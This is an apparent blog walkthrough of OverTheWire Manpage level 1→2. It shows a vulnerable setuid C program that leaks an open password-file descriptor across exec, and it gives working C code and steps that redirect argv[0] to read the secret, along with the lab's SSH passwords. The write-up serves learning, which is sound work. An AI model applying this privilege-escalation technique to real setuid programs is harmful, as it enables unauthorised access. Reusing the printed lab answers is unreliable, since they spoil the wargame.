OverTheWire Manpage Level 1 → 2 tutorial!!
Published on 07 Oct 2023
Login
Use the manpage1 account from the previous level.
ssh manpage1@manpage.labs.overthewire.org -p 2224
# password: febiukovie
Goal
The binary checks the password against /etc/manpage_pass/manpage3
. If the check fails, it drops privileges and restarts itself with execl(argv[0], ...)
. The bug: it never closes the opened file before restarting. Our goal is to exploit this and read the password from the still‑open file descriptor.
Given program
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#define PWFILE "/etc/manpage_pass/manpage3"
int main(int argc, char *argv[])
{
FILE *f;
char *p;
char pass[32];
char buf[2];
f = fopen(PWFILE, "r");
fgets(pass, sizeof pass, f);
pass[strlen(pass)-1] = '\0';
p = getpass("password: ");
if(!strcmp(p, pass)) {
system("sh");
exit(0);
}
setuid(getuid());
if(!argv[1]) {
argv[1] = buf;
buf[0] = '\0';
}
if(argv[1][0]++ >= 2) exit(0);
argv[1][1] = '\0';
execl(argv[0], argv[0], argv[1], 0);
return 0;
}
Approach
- Notice the file is never closed, so the file descriptor is inherited by the next process.
- The restart executes
argv[0]
. If we controlargv[0]
, we can make it execute our helper binary. - That helper binary can read fd
3
(stdin=0, stdout=1, stderr=2 → next fd is 3) to extract the password.
Helper: read password from fd 3
// pwn.c
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
int main(){
char pass[32];
if(lseek(3, 0, SEEK_SET) == -1){ puts("lseek error"); return -1; }
if(read(3, pass, sizeof(pass)) == -1){ puts("read error"); return -1; }
pass[strlen(pass)-1] = '\0';
printf("Got the password %s\n", pass);
}
Wrapper: run target with argv[0] = ./pwn
// wrap.c
#include <unistd.h>
#include <signal.h>
#include <string.h>
int main(){
char* argv[] = {"./pwn", NULL};
char* envp[] = { NULL };
execve("/manpage/manpage2", argv, envp);
return 0;
}
Exploit Steps
cc -o pwn pwn.c
cc -o wrap wrap.c
./wrap
# When prompted for "password:", type anything
# Program fails, restarts, executes ./pwn which inherits fd 3 and prints password
Output:
Got the password ailaifeipu
Now we can use this password to SSH into the next level.
Why this works
- File descriptors remain open across
exec
unless explicitly closed. - The program calls
execl(argv[0], ...)
. Since we forceargv[0] = ./pwn
, it runs our helper instead. - Our helper seeks and reads fd 3 to extract the secret.
Troubleshooting quick tips
- Ensure
./pwn
exists and is executable in the working directory. - Trigger the failure path by entering a wrong password once.
- Use
strace -f ./wrap
to confirm fd 3 is inherited if nothing prints.
Congrats 🎉 You’re now through Level 1 → 2 — time to keep going for Level 2 → 3!
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨
all tags
GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86